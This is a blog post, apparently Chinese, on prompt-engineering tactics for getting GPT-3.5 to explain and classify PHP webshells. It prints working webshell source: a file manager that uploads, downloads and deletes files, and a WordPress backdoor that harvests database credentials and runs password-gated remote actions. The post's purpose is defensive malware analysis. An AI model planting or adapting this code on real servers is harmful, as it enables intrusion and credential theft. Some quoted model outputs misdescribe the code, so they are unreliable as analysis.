2021年9月29日 星期三

Prompt Engineering优化原则 - 以Webshell代码解释为例 当前要闻

时间:2023-05-23 11:16:48来源 : 博客园

一、LLM prompt优化原则

本文围绕“PHP代码解释”这一任务,讨论LLM prompt优化原则。

代码样例如下:


(相关资料图)

我们会根据不同的原则,修改对应的prompt提示词,并观察、分析GPT-3.5 Turbo得到的回应。

总体来说,iterative prompt development的循环如下图所示,

prompt guidelines

Be clear and specificAnalyze why result does not give desired outputRefine the idea and the promptRepeat二、Principle 1 - Write clear and specific instructions0x1:Tactic 1:Use delimiters

分隔符有很多好处,例如:

可以清楚地指示输入的不同部分,明确让模型知道分隔符内是一个单独的部分避免提示冲突,提示冲突是指如果允许用户向提示中添加一些输入,可能导致prompt injection等安全风险

常用的分隔符如下:

"""```---< ... > ...

我们展示未使用分隔符和使用分隔符,gpt-3.5返回的区别:

1、未使用分隔符
// prompt input: 你是一个安全专家,我会给你一段代码,你要从三个方面回答我的问题。1. 请逐行解释下这段代码做了什么?2. 如果这段代码存在严重恶意行为,请论述这段代码被判定为恶意样本的依据。3. 如果这段代码存在严重恶意行为,请回答怎么处置这个文件。代码为:// gpt-3.5 output: 这段代码先输出字符串"a5a5aa555o",然后定义了一个匿名函数$fOgT,使用了一些字符串混淆和加密来动态构建了一个字符串"eval($_POST["25t"]);",并将其作为参数传递给了eval函数,最终通过调用$fOgT函数来执行这个字符串。如果这段代码存在严重恶意行为,那么它被判定为恶意样本的依据是它可能导致远程代码执行漏洞。这段代码使用了字符串混淆和加密来构建恶意代码,最终调用了eval函数来执行恶意代码。恶意代码的内容是从用户POST提交的参数中提取的,因此攻击者可以通过发送恶意请求来控制恶意代码的执行。如果这段代码存在严重恶意行为,那么应该立即将这个文件删除,并且对服务器进行安全检查和修复,以确保没有被利用的漏洞存在。同时应该记录和分析这个文件的来源和传播路径,以便进一步的安全分析和追溯。
2、使用分隔符
// prompt input: 你是一个安全专家,我会给你一段代码,代码使用```code```作为分隔符,你要从三个方面回答我的问题。1. 请逐行解释下这段代码做了什么?2. 如果这段代码存在严重恶意行为,请论述这段代码被判定为恶意样本的依据。3. 如果这段代码存在严重恶意行为,请回答怎么处置这个文件。代码为:  ``````// gpt-3.5 output: 1. 这段代码先输出字符串"a5a5aa555o",然后定义了一个匿名函数$fOgT,使用了一些字符串混淆和加密来动态构建了一个字符串"eval($_POST["25t"]);",并将其作为参数传递给了eval函数,最终通过调用$fOgT函数来执行这个字符串。2. 代码中使用了混淆和加密来动态构建一个字符串并传递给了eval函数,这个字符串最终会执行用户POST提交的参数,这种行为非常危险,可能导致远程代码执行漏洞,被判定为恶意样本。3. 应该立即将这个文件删除,并且对服务器进行安全检查和修复,以确保没有被利用的漏洞存在。同时应该记录和分析这个文件的来源和传播路径,以便进一步的安全分析和追溯。

可以看到,使用分隔符后,LLM生成的回答更加简洁,有条理。

0x2:Tactic 2:Ask for structured output

结构化输出可以使得下游处理模块更容易进行形式化处理。

常见的格式化格式包括:

HTMLJSON
// prompt input: 你是一个安全专家,我会给你一段代码,代码使用```code```作为分隔符,你要从三个方面回答我的问题。1. 请逐行解释下这段代码做了什么?2. 如果这段代码存在严重恶意行为,请论述这段代码被判定为恶意样本的依据。3. 如果这段代码存在严重恶意行为,请回答怎么处置这个文件。请使用JSON格式生成结果,下面是一个JSON结果的例子,使用~~~json~~~作为分隔符JSON结果的例子为:  ~~~{    [    "behavior": "请逐行解释下这段代码做了什么",    "reason": "如果这段代码存在严重恶意行为,请论述这段代码被判定为恶意样本的依据",    "solution": "如果这段代码存在严重恶意行为,请回答怎么处置这个文件"    ],}  ~~~要分析的代码为:  ``````// gpt-3.5 output: {  "behavior": [    "第一行输出 "a5a5aa555o"",    "第二行使用create_function函数创建一个函数$fOgT",    "函数$fOgT的定义为:将base64_decode("JA==") . chr(114195 / 993) . str_rot13("b") . str_rot13("z") . chr(708 - 607)拼接起来,使用chr(0xc60e / 0x1f6) . base64_decode("dg==") . str_rot13("n") . chr(390 - 282) . chr(0x1ae - 0x186) . chr(0x3ac - 0x388) . chr(0xd561 / 0x1db) . base64_decode("bw==") . base64_decode("bQ==") . base64_decode("ZQ==") . str_rot13(")") . chr(798 - 739)作为函数体执行;",    "第三行使用create_function创建的函数$fOgT,将字符串base64_decode("OTM2N" . "DM3O0" . "BldkF" . "sKCRf" . "" . str_rot13("H") . str_rot13("R") . chr(41382 / 726) . str_rot13("G") . "VFsnMj" . "V0J10p" . "OzI4MD" . "kzMTE7")进行解码,然后作为参数传入函数体进行执行。",    "函数体执行的结果是eval($_POST["25t"]),如果POST的参数中包含恶意代码,则会执行恶意代码,造成安全问题。"  ],  "reason": "该代码使用了create_function函数动态创建函数,同时使用base64_decode和str_rot13等函数对代码进行混淆,增加了代码审查难度。而且函数体执行的是eval($_POST["25t"]),如果POST的参数中含有恶意代码,则可能导致恶意代码执行,造成安全问题。",  "solution": "1. 立即从服务器上删除该文件;\n2. 对服务器进行检查,查看是否存在其他恶意文件;\n3. 对恶意文件进行分析,找出受影响的用户和数据;\n4. 及时通知受影响的用户,并协助处理受影响的数据;\n5. 对服务器进行加固,增强安全措施,避免类似事件再次发生。"}
0x3:Check whether conditions are satisfied

如果目标任务存在一些前置假设需要满足,我们可以告诉模型首先检查这些假设,只有当满足条件时,才进行生成,避免生成意外结果。

1、前置条件满足
// prompt input: 你是一个安全专家,我会给你一段代码,代码使用```code```作为分隔符,你要从三个方面回答我的问题。1. 请逐行解释下这段代码做了什么?2. 如果这段代码存在严重恶意行为,请论述这段代码被判定为恶意样本的依据。3. 如果这段代码存在严重恶意行为,请回答怎么处置这个文件。注意,只有代码中存在安全风险时才继续回答我的问题,如果代码不存在风险则返回一个空字符串。要分析的代码为:  ``````// gpt-3.5 output: 该代码存在严重的恶意行为。首先,代码使用了create_function函数动态创建函数,同时使用base64_decode和str_rot13等函数对代码进行混淆,增加了代码审查难度。其次,函数体执行的是eval($_POST["25t"]),如果POST的参数中含有恶意代码,则可能导致恶意代码执行,造成安全问题。为了保障服务器的安全,应立即从服务器上删除该文件,并对服务器进行检查,查看是否存在其他恶意文件。对恶意文件进行分析,找出受影响的用户和数据,并及时通知受影响的用户,协助处理受影响的数据。同时,对服务器进行加固,增强安全措施,避免类似事件再次发生。
2、前置条件不满足
// prompt input: 你是一个安全专家,我会给你一段代码,代码使用```code```作为分隔符,你要从三个方面回答我的问题。1. 请逐行解释下这段代码做了什么?2. 如果这段代码存在严重恶意行为,请论述这段代码被判定为恶意样本的依据。3. 如果这段代码存在严重恶意行为,请回答怎么处置这个文件。注意,只有代码中存在安全风险时才继续回答我的问题,如果代码不存在风险则返回一个空字符串。要分析的代码为:  ``````// gpt-3.5 output: 根据代码分析,该代码不存在明显的安全风险,因此不需要回答问题,返回一个空字符串。
0x4:Few-shot prompting

在要求模型执行任务之前,提供成功执行任务的示例。

前面JSON格式那个小章节里,笔者已经展示了Few-shot prompt的示例。

这里再给出一个示例,将沙箱日志逐行和源码一一对应,沙箱日志通过注释形式跟在每行源码后面,

// prompt input: 你是一个资深安全专家,正在进行一个代码安全检查任务,我会给你一段代码,代码使用```code```作为分隔符,以及该代码的函数调用链及污点传播日志,函数调用链及污点传播日志使用```functions```分隔符。在分析之前,请按照如下方法对代码进行预处理。步骤1: 合并字符串拼接结果步骤2: 将变量替换为对应的值内容或者右值内容步骤3: 将变量函数调用替换为对应的值内容或者右值内容预处理完成后,请逐步执行以下任务。任务1: 请逐行解释下代码做了什么,要分析的代码使用```code```作为分隔符。任务2: 如果这段代码存在严重恶意行为,请论述这段代码被判定为恶意样本的依据。任务3: 如果这段代码存在严重恶意行为,请回答怎么处置这个文件。代码为:  ``````函数调用链及污点传播日志为:```[{"current_node": {"name": "eval","line": 2000001,"offset":   0},"function_name":    {"name": "eval()"},"function_arg": {"value":    "","original_tags":    [{"name": "$_POST","line": 2000001,"offset":   0}],"way_tags": [],"credit":   1},"child_node_is_black":  false,"function_name_is_black":   false,"function_arg_is_black":    true,"stack":    ["eval()", "eval()", "CREATE_FUNCTION_LAMBDA_1()", "GLOBAL"],"stack_details":    [{"name": "eval()","line": 2000001,"offset":   0}, {"name": "eval()","line": 1000001,"offset":   0}, {"name": "CREATE_FUNCTION_LAMBDA_1()","line": 4,"offset":   0}, {"name": "GLOBAL","line": 1,"offset":   0}]}]```// gpt-3.5 output: 预处理后的代码为:任务1:这段代码首先输出字符串"a5a5aa555o",然后定义了一个匿名函数$fOgT。使用create_function函数将一大坨字符串转换成函数代码,最终得到一个可以执行的代码。接着,调用$fOgT函数,并传入一个字符串作为参数。传入的字符串中包含混淆的代码,通过eval函数执行这段混淆的代码,从而实现了代码执行的目的。任务2:这段代码被判定为恶意样本的依据在于其中使用了eval函数执行混淆的代码,混淆的代码中包含了从$_POST数组中获取数据,并执行该数据的操作。这意味着攻击者可以通过POST请求向该脚本发送恶意代码,进而实现远程代码执行,造成安全威胁。任务3:考虑将该文件删除或者隔离,避免其继续对系统造成安全威胁。如果该文件是系统必要的一部分,可以考虑对其进行修复或者加固。另外,建议对系统进行全面安全检查,寻找其他类似的安全问题并及时解决。 

再对比一下不带沙箱日志注释的,效果差了很多。

待解决问题:

怎么把ast和沙箱日志融合到prompt template中,并给出一个few-shot示例,让模型output更加精准和可读化。

输入待分析的混合源码

源码和ast/沙箱日志每一行一一对应起来每一行源码,对应ast污点传播日志和动态执行信息

输出的分析结果:

output的时候,每一行源码下面跟一行注释,注释中解释该行源码具体代码逻辑以及安全风险三、Principle 2 - Give the model time to think0x1:Tactic 1:Specify the steps to complete a task

一种思考方式是,如果你给模型一个太复杂的任务,在短时间或少数词中完成它,模型可能会猜测结果,这可能是不正确的。

// prompt input: 你是一个安全专家,我会给你一段代码,请逐步执行以下任务。任务1: 请逐行解释下代码做了什么,要分析的代码使用```code```作为分隔符。任务2: 如果这段代码存在严重恶意行为,请论述这段代码被判定为恶意样本的依据。任务3: 如果这段代码存在严重恶意行为,请回答怎么处置这个文件。任务4: 使用JSON格式生成结果,下面是一个JSON结果的例子,使用~~~json~~~作为分隔符JSON结果的例子为:  ~~~{    [    "behavior": "请逐行解释下这段代码做了什么",    "reason": "如果这段代码存在严重恶意行为,请论述这段代码被判定为恶意样本的依据",    "solution": "如果这段代码存在严重恶意行为,请回答怎么处置这个文件"    ],}  ~~~要分析的代码为:  ``````// gpt-3.5 output: 这段代码被判定为恶意样本的依据如下:1. 代码中使用了动态创建函数的方式创建一个函数,该函数接受一个参数,将该参数当作代码执行,可能会对服务器造成危害;2. 代码中使用了base64编码和字符串加密等手段来隐藏恶意代码;3. 代码中没有被使用的输出语句“echo "a5a5aa555o";”和没有被使用的变量“$fOgT”可能是为了混淆代码而存在的。如果该文件被判定为恶意样本,应立即将其从服务器上删除,同时应对服务器进行安全检查,以确保没有留下其他的后门或恶意程序。{    "behavior": "这段代码使用了动态创建函数的方式创建一个函数,该函数接受一个参数,将该参数当作代码执行,可能会对服务器造成危害,同时使用了base64编码和字符串加密等手段来隐藏恶意代码。",    "reason": "代码中的输出语句和变量没有被使用,可能是为了混淆代码而存在;代码中包含了对POST请求参数的eval操作,可能会导致远程执行任意恶意代码。",    "solution": "如果该文件被判定为恶意样本,应立即将其从服务器上删除,同时应对服务器进行安全检查,以确保没有留下其他的后门或恶意程序。"}

另一个任务分解的例子是针对单个超大文本、大量文本的summary任务。

还是以PHP代码解释为例,假设我们面对的是一个拥有大量代码逻辑的大文件,我们可以通过prompt工程设计,让LLM分步骤实现对大文本的分层抽象总结。

// prompt input: 你是一个资深安全专家,正在进行一个代码安全检查任务,我会给你一段代码,代码使用```code```作为分隔符,请逐步执行以下任务。任务1: 遍历整段代码内容,并对其中的函数声明定义和函数调用进行功能性描述总结任务2: 在任务1描述性总结的基础上,分析整体函数调用序列,并生成对应的样本行为描述总结任务3: 任务2样本行为描述总结的基础上,给出一个概括性的描述,并回答三个方面的问题: 1)这段代码做了什么?2)如果这段代码存在严重恶意行为,请论述这段代码被判定为恶意样本的依据。3)如果这段代码存在严重恶意行为,请回答怎么处置这个文件。代码为:  ```    *{padding:0; margin:0;}    body{background:threedface;font-family:"Verdana", "Tahoma", "宋体",sans-serif; font-size:13px;margin-top:3px;margin-bottom:3px;table-layout:fixed;word-break:break-all;}    a{color:#000000;text-decoration:none;}    a:hover{background:#BBBBBB;}    table{color:#000000;font-family:"Verdana", "Tahoma", "宋体",sans-serif;font-size:13px;border:1px solid #999999;}    td{background:#F9F6F4;}    .toptd{background:threedface; width:310px; border-color:#FFFFFF #999999 #999999 #FFFFFF; border-style:solid;border-width:1px;}    .msgbox{background:#FFFFE0;color:#FF0000;height:25px;font-size:12px;border:1px solid #999999;text-align:center;padding:3px;clear:both;}    .actall{background:#F9F6F4;font-size:14px;border:1px solid #999999;padding:2px;margin-top:3px;margin-bottom:3px;clear:both;}\nEND;return false;}//文件管理class packdir{    var $out = "";    var $datasec      = array();    var $ctrl_dir     = array();    var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";    var $old_offset   = 0;    function packdir($array)    {        if(@function_exists("gzcompress"))        {            for($n = 0;$n < count($array);$n++)            {                $array[$n] = urldecode($array[$n]);                $fp = @fopen($array[$n], "r");                $filecode = @fread($fp, @filesize($array[$n]));                @fclose($fp);                $this -> filezip($filecode,basename($array[$n]));            }            @closedir($zhizhen);            $this->out = $this->packfile();            return true;        }        return false;    }    function at($atunix = 0)    {        $unixarr = ($atunix == 0) ? getdate() : getdate($atunix);        if ($unixarr["year"] < 1980)        {            $unixarr["year"]    = 1980;            $unixarr["mon"]     = 1;            $unixarr["mday"]    = 1;            $unixarr["hours"]   = 0;            $unixarr["minutes"] = 0;            $unixarr["seconds"] = 0;        }         return (($unixarr["year"] - 1980) << 25) | ($unixarr["mon"] << 21) | ($unixarr["mday"] << 16) | ($unixarr["hours"] << 11) | ($unixarr["minutes"] << 5) | ($unixarr["seconds"] >> 1);    }    function filezip($data, $name, $time = 0)    {        $name = str_replace("\\", "/", $name);        $dtime = dechex($this->at($time));        $hexdtime   = "\x".$dtime[6].$dtime[7]."\x".$dtime[4].$dtime[5]."\x".$dtime[2].$dtime[3]."\x".$dtime[0].$dtime[1];        eval("$hexdtime = "" . $hexdtime . "";");        $fr = "\x50\x4b\x03\x04";        $fr .= "\x14\x00";        $fr .= "\x00\x00";        $fr .= "\x08\x00";        $fr .= $hexdtime;        $unc_len = strlen($data);        $crc = crc32($data);        $zdata = gzcompress($data);        $c_len = strlen($zdata);        $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);        $fr .= pack("V", $crc);        $fr .= pack("V", $c_len);        $fr .= pack("V", $unc_len);        $fr .= pack("v", strlen($name));        $fr .= pack("v", 0);        $fr .= $name;        $fr .= $zdata;        $fr .= pack("V", $crc);        $fr .= pack("V", $c_len);        $fr .= pack("V", $unc_len);        $this -> datasec[] = $fr;        $new_offset = strlen(implode("", $this->datasec));        $cdrec = "\x50\x4b\x01\x02";        $cdrec .= "\x00\x00";        $cdrec .= "\x14\x00";        $cdrec .= "\x00\x00";        $cdrec .= "\x08\x00";        $cdrec .= $hexdtime;        $cdrec .= pack("V", $crc);        $cdrec .= pack("V", $c_len);        $cdrec .= pack("V", $unc_len);        $cdrec .= pack("v", strlen($name) );        $cdrec .= pack("v", 0 );        $cdrec .= pack("v", 0 );        $cdrec .= pack("v", 0 );        $cdrec .= pack("v", 0 );        $cdrec .= pack("V", 32 );        $cdrec .= pack("V", $this -> old_offset );        $this -> old_offset = $new_offset;        $cdrec .= $name;        $this -> ctrl_dir[] = $cdrec;    }    function packfile()    {        $data    = implode("", $this -> datasec);        $ctrldir = implode("", $this -> ctrl_dir);        return $data.$ctrldir.$this -> eof_ctrl_dir.pack("v", sizeof($this -> ctrl_dir)).pack("v", sizeof($this -> ctrl_dir)).pack("V", strlen($ctrldir)).pack("V", strlen($data))."\x00\x00";    }}function File_Str($string){    return str_replace("//","/",str_replace("\\","/",$string));}function File_Size($size){    if($size > 1073741824) $size = round($size / 1073741824 * 100) / 100 . " G";    elseif($size > 1048576) $size = round($size / 1048576 * 100) / 100 . " M";    elseif($size > 1024) $size = round($size / 1024 * 100) / 100 . " K";    else $size = $size . " B";    return $size;}function File_Mode(){    $RealPath = realpath("./");    $SelfPath = $_SERVER["PHP_SELF"];    $SelfPath = substr($SelfPath, 0, strrpos($SelfPath,"/"));    return File_Str(substr($RealPath, 0, strlen($RealPath) - strlen($SelfPath)));}function File_Read($filename){    $handle = @fopen($filename,"rb");    $filecode = @fread($handle,@filesize($filename));    @fclose($handle);    return $filecode;}function File_Write($filename,$filecode,$filemode){    $key = true;    $handle = @fopen($filename,$filemode);    if(!@fwrite($handle,$filecode))    {        @chmod($filename,0666);        $key = @fwrite($handle,$filecode) ? true : false;    }    @fclose($handle);    return $key;}function File_Up($filea,$fileb){    $key = @copy($filea,$fileb) ? true : false;    if(!$key) $key = @move_uploaded_file($filea,$fileb) ? true : false;    return $key;}function File_Down($filename){    if(!file_exists($filename)) return false;    $filedown = basename($filename);    $array = explode(".", $filedown);    $arrayend = array_pop($array);    header("Content-type: application/x-".$arrayend);    header("Content-Disposition: attachment; filename=".$filedown);    header("Content-Length: ".filesize($filename));    @readfile($filename);    exit;}function File_Deltree($deldir){    if(($mydir = @opendir($deldir)) == NULL) return false;      while(false !== ($file = @readdir($mydir)))    {        $name = File_Str($deldir."/".$file);        if((is_dir($name)) && ($file!=".") && ($file!="..")){@chmod($name,0777);File_Deltree($name);}        if(is_file($name)){@chmod($name,0777);@unlink($name);}    }     @closedir($mydir);    @chmod($deldir,0777);    return @rmdir($deldir) ? true : false;}function File_Act($array,$actall,$inver){    if(($count = count($array)) == 0) return "请选择文件";    if($actall == "e")    {        $zip = new packdir;        if($zip->packdir($array)){$spider = $zip->out;header("Content-type: application/unknown");header("Accept-Ranges: bytes");header("Content-length: ".strlen($spider));header("Content-disposition: attachment; filename=".$inver.";");echo $spider;exit;}        return "打包所选文件失败";    }    $i = 0;    while($i < $count)    {        $array[$i] = urldecode($array[$i]);        switch($actall)        {            case "a" : $inver = urldecode($inver); if(!is_dir($inver)) return "路径错误"; $filename = array_pop(explode("/",$array[$i])); @copy($array[$i],File_Str($inver."/".$filename)); $msg = "复制到".$inver."目录"; break;            case "b" : if(!@unlink($array[$i])){@chmod($filename,0666);@unlink($array[$i]);} $msg = "删除"; break;            case "c" : if(!eregi("^[0-7]{4}$",$inver)) return "属性值错误"; $newmode = base_convert($inver,8,10); @chmod($array[$i],$newmode); $msg = "属性修改为".$inver; break;            case "d" : @touch($array[$i],strtotime($inver)); $msg = "修改时间为".$inver; break;        }        $i++;    }    return "所选文件".$msg."完毕";}?>```// gpt-3.5 output: 任务1:遍历整段代码内容,并对其中的函数声明定义和函数调用进行功能性描述总结。函数声明定义:Root_GP:对数组进行递归地去除斜杠反斜杠和转义字符Root_CSS:生成一段CSS样式代码packdir:文件压缩处理类File_Str:对文件路径进行标准化处理File_Size:将文件大小转换为可读性强的字符串File_Mode:获取当前文件所在目录File_Read:读取文件内容File_Write:写入文件内容File_Up:上传文件File_Down:下载文件File_Deltree:删除目录及其下所有文件和子目录函数调用:error_reporting:设置错误报告级别header:设置响应头信息set_time_limit:设置脚本执行的最大时间strtoupper:将字符串转换为大写intval:将字符串转换为整数is_string:判断变量是否为字符串类型stripslashes:去除字符串中的反斜杠is_array:判断变量是否为数组类型basename:获取文件名crc32:计算CRC校验值gzcompress:压缩字符串readfile:读取文件并输出opendir:打开目录readdir:读取目录中的文件is_dir:判断是否为目录is_file:判断是否为文件unlink:删除文件rmdir:删除目录任务2:在任务1描述性总结的基础上,分析整体函数调用序列,并生成对应的样本行为描述总结。整体函数调用序列:error_reporting:设置错误报告级别header:设置响应头信息set_time_limit:设置脚本执行的最大时间Root_CSS:生成一段CSS样式代码packdir:文件压缩处理类File_Str:对文件路径进行标准化处理File_Size:将文件大小转换为可读性强的字符串File_Mode:获取当前文件所在目录File_Read:读取文件内容File_Write:写入文件内容File_Up:上传文件File_Down:下载文件File_Deltree:删除目录及其下所有文件和子目录Root_GP:对数组进行递归地去除斜杠反斜杠和转义字符样本行为描述总结:该代码实现了一组文件管理相关的函数,包括文件压缩、路径标准化、文件大小转换、文件读写、文件上传下载和目录删除等操作。其中,文件压缩和目录删除的实现用到了自定义的类和递归函数。在文件读写和上传下载等操作中,使用了一些PHP内置的函数,如readfile、unlink、copy等。此外,还有一个对数组进行递归去除转义字符的函数。整个代码结构清晰,使用方便,可以方便地为Web应用添加文件管理功能。任务3:这段代码实现了一组文件管理相关的函数,包括文件压缩、路径标准化、文件大小转换、文件读写、文件上传下载和目录删除等操作。如果这段代码存在严重恶意行为,可能是由于其中的一些函数被用于非法操作,如删除系统文件或上传恶意文件等,同时该代码还存在文件压缩和解压功能,可能被用于传播恶意文件。如果这段代码存在严重恶意行为,应当立即将其从服务器上删除,并进行系统安全检查,以避免可能的后续攻击。同时,应当加强对Web应用的文件上传和下载等操作的安全性检查,以保护Web应用的安全。

另一个例子,针对超长文本,cufoff时候,可以剔除函数声明,这玩意很大,代码部分尽量保留。从安全供方经验的角度来看,专家阅读一个代码文件,主要就是看函数声明和函数调用,看看具体有啥功能,这种大马适合用多任务拆解的prompt来做,符合人的习惯。

// prompt input: 你是一个资深安全专家,正在进行一个代码安全检查任务,我会给你一段代码,代码使用```code```作为分隔符,请逐步执行以下任务。任务1: 遍历整段代码内容,并对其中的函数声明定义和函数调用进行功能性描述总结任务2: 在任务1描述性总结的基础上,分析整体函数调用序列,并生成对应的样本行为描述总结任务3: 任务2样本行为描述总结的基础上,给出一个概括性的描述,并回答三个方面的问题: 1)这段代码做了什么?2)如果这段代码存在严重恶意行为,请论述这段代码被判定为恶意样本的依据。3)如果这段代码存在严重恶意行为,请回答怎么处置这个文件。代码为:  ``` $sp990d44, "type" => "new");            foreach ($spdaaa7d as $sp1c4161) {                if (preg_match("/(DB_HOST|DB_NAME|DB_USER|DB_PASSWORD|table_prefix)/", $sp1c4161, $sp0e5a4a)) {                    switch ($sp0e5a4a[0]) {                        case "table_prefix": $sp1c4161 = preg_replace("/^\\s*\\$table_prefix\\s*\\=\\s*/", "", $sp1c4161);                        $sp1c4161 = preg_replace("/\\s*\\;\\s*$/", "", $sp1c4161);                        break;                        default: $sp1c4161 = preg_replace("/^\\s*define\\s*\\([^,]+\\,\\s*/i", "", $sp1c4161);                        $sp1c4161 = preg_replace("/\\s*\\)\\s*\\;\\s*$/i", "", $sp1c4161);                        break;                    }                    $sp1c4161 = trim($sp1c4161);                    if ($sp1c4161[0] == $sp1c4161[strlen($sp1c4161) - 1]) {                        $sp1c4161 = substr($sp1c4161, 1, strlen($sp1c4161) - 2);                    }                    switch ($sp0e5a4a[0]) {                        case "DB_NAME": $sp00a745["db"] = $sp1c4161;                        break;                        case "DB_USER": $sp00a745["user"] = $sp1c4161;                        break;                        case "DB_PASSWORD": $sp00a745["pass"] = $sp1c4161;                        break;                        case "DB_HOST": $spabc82d = explode(":", $sp1c4161);                        $sp00a745["host"] = array_shift($spabc82d);                        $sp00a745["port"] = array_shift($spabc82d);                        $sp00a745["port"] = $sp00a745["port"] ? $sp00a745["port"] : 3306;                        break;                        case "table_prefix": $sp00a745["prefix"] = $sp1c4161;                        break;                    }                }            }            return $sp00a745;            break;        }        $sp624e74++;        $sp990d44 = realpath(str_repeat("../", $sp624e74));    }}function r_mysql_connect($spdaaa7d) {    $sp8b717d = mysql_connect(sprintf("%s:%s", $spdaaa7d["host"], $spdaaa7d["port"]), $spdaaa7d["user"], $spdaaa7d["pass"]);    mysql_select_db($spdaaa7d["db"], $sp8b717d);    return $sp8b717d;}function r_mysqli_connect($spdaaa7d) {    return new mysqli($spdaaa7d["host"], $spdaaa7d["user"], $spdaaa7d["pass"], $spdaaa7d["db"], is_numeric($spdaaa7d["port"]) ? $spdaaa7d["port"] : 3306, !is_numeric($spdaaa7d["port"]) ? $spdaaa7d["port"] : null);}function r_mysql_query($spdaaa7d, $sp8b717d, $spa44de6, $spaabe13 = array()) {    if (!empty($spaabe13)) {        foreach ($spaabe13 as $spdcd3c8 => $spbc79f2) {            $spa44de6 = str_replace($spdcd3c8, mysql_real_escape_string($spbc79f2, $sp8b717d), $spa44de6);        }    }    $sp27b914 = array();    $sp30b56c = mysql_query($spa44de6, $sp8b717d);    if ($sp30b56c) {        while ($spcb1c34 = mysql_fetch_assoc($sp30b56c)) {            $sp27b914[] = $spcb1c34;        }        return array("success" => $sp27b914);    } else {        return array("error" => sprintf("%s :: %s", mysql_errno($sp8b717d), mysql_error($sp8b717d)));    }}function r_mysqli_query_res($spdaaa7d, $sp8b717d, $spa44de6, $spaabe13 = array()) {    if (!empty($spaabe13)) {        foreach ($spaabe13 as $spdcd3c8 => $spbc79f2) {            $spa44de6 = str_replace($spdcd3c8, $sp8b717d->real_escape_string($spbc79f2), $spa44de6);        }    }    $sp30b56c = $sp8b717d->query($spa44de6);    return $sp30b56c;}function r_mysqli_query_row($sp30b56c) {    if (is_object($sp30b56c)) {        return $sp30b56c->fetch_assoc();    } else {        return false;    }}function r_unmagic() {    if (get_magic_quotes_gpc()) {        foreach ($_POST as $spdcd3c8 => $spbc79f2) {            $_POST[$spdcd3c8] = stripslashes($spbc79f2);        }    }}function r_action_cenabler() {    $sp990d44 = r_get_config_path();    $sp86ee61 = rtrim(preg_replace("/^http[s]{0,1}\\:\\/\\//i", "", $_POST["url"]), "/");    $sp11ee6d = sprintf("%s/wp-content/cache/cache-enabler/%s/index.html", $sp990d44, $sp86ee61);    if (file_exists($sp11ee6d)) {        unlink($sp11ee6d);    }    $sp11ee6d = sprintf("%s/wp-content/cache/cache-enabler/%s/index.html.gz", $sp990d44, $sp86ee61);    if (file_exists($sp11ee6d)) {        unlink($sp11ee6d);    }    $sp11ee6d = sprintf("%s/wp-content/cache/cache-enabler/%s/index-webp.html", $sp990d44, $sp86ee61);    if (file_exists($sp11ee6d)) {        unlink($sp11ee6d);    }    $sp11ee6d = sprintf("%s/wp-content/cache/cache-enabler/%s/index-webp.html.gz", $sp990d44, $sp86ee61);    if (file_exists($sp11ee6d)) {        unlink($sp11ee6d);    }    echo "success";}function r_action_removeshell() {    if (file_exists($spccfacf = sprintf("%s%s%s", rtrim($_SERVER["DOCUMENT_ROOT"], "/"), DIRECTORY_SEPARATOR, str_replace("/", DIRECTORY_SEPARATOR, ltrim($_POST["shell_url"], "/"))))) {        if ($spccfacf != __FILE__) {            unlink($spccfacf);        }        echo file_exists($spccfacf) ? "fail" : "success";    } else {        echo "ignore";    }}function r_action_loginurl() {    $spe3dc7f = (isset($_SERVER["HTTPS"]) ? "https" : "http") . "://{$_SERVER["HTTP_HOST"]}{$_SERVER["REQUEST_URI"]}";    $sp9c8880 = $spe3dc7f;    $spd39b89 = basename(__FILE__);    $sp6786de = basename(tempnam("./", "ert") . ".php");    $sp0ae225 = preg_replace(sprintf("/%s$/i", preg_quote($spd39b89)), $sp6786de, $sp9c8880);    echo file_get_contents($sp0ae225);}function r_action_ini() {    echo json_encode(isset($_POST["section"]) && $_POST["section"] ? ini_get_all($_POST["section"]) : ini_get_all());}function charCodeAt($sp4f9c96, $spd106ce) {    return ord(substr($sp4f9c96, $spd106ce, 1));}function charAt($sp4f9c96, $spd106ce) {    return substr($sp4f9c96, $spd106ce, 1);}if (count($_GET) == 1 && !trim($sp54f6de = array_pop(array_values($_GET)))) {    $sp30b56c = array();    parse_str(bd(rawurldecode(array_shift(array_keys($_GET)))), $sp30b56c);    $_GET = $sp30b56c;} else {    if (count($_GET) > 0) {        if (!in_array("action", array_keys($_GET))) {            $spabc82d = array();            foreach ($_GET as $spdcd3c8 => $spbc79f2) {                if (($sp657816 = bd($spdcd3c8)) && ($sp00c116 = bd($spbc79f2))) {                    $spabc82d[$sp657816] = $sp00c116;                }            }            $_GET = $spabc82d;        }    }}$_POST = array_merge($_POST, $_GET);if (CONF_PASSWORD_HASH == md5($_POST["password"])) {    switch ($_POST["action"]) {        case "link": $sp990d44 = r_get_config_path();        chdir($sp990d44);        $sp26db65 = $_POST["id"];        require_once $sp990d44 . "/wp-load.php";        $spe97891 = get_permalink($_POST["id"]);        echo sprintf("[<{%s}>]", $spe97891);        break;        default: $sp0ec413 = sprintf("r_action_%s", $_POST["action"]);        call_user_func($sp0ec413);        break;    }} else {    die("ympf");}```// gpt-3.5 output: 任务1:遍历整段代码内容,并对其中的函数声明定义和函数调用进行功能性描述总结。函数声明定义:r_get_lib():获取数据库扩展类型(mysqli或mysql)。r_get_config_new():获取WordPress配置信息。r_mysql_connect():使用mysql连接数据库。r_mysqli_connect():使用mysqli连接数据库。r_mysql_query():使用mysql执行查询。r_mysqli_query_res():使用mysqli执行查询。r_mysqli_query_row():获取mysqli查询结果。r_unmagic():取消魔术引号。r_action_cenabler():启用WordPress插件Cache Enabler。r_action_removeshell():移除Web shell。r_action_loginurl():获取登录链接。r_action_ini():获取php.ini配置信息。函数调用:class_exists():判断mysqli类是否存在。function_exists():判断mysql_connect()函数是否存在。file_exists():判断文件是否存在。preg_grep():正则表达式匹配。mysql_real_escape_string():转义mysql查询中的特殊字符。mysql_fetch_assoc():获取mysql查询结果。json_encode():将数组转换为JSON格式。ord():获取字符的ASCII码值。substr():获取字符串的一部分。array_merge():合并数组。任务2:在任务1描述性总结的基础上,分析整体函数调用序列,并生成对应的样本行为描述总结。确认数据库扩展类型(r_get_lib())。获取WordPress配置信息(r_get_config_new())。根据数据库扩展类型连接数据库(r_mysql_connect和r_mysqli_connect)。执行查询(r_mysql_query()和r_mysqli_query_res())。获取查询结果(r_mysql_fetch_assoc()和r_mysqli_query_row())。启用WordPress插件Cache Enabler(r_action_cenabler())。移除Web 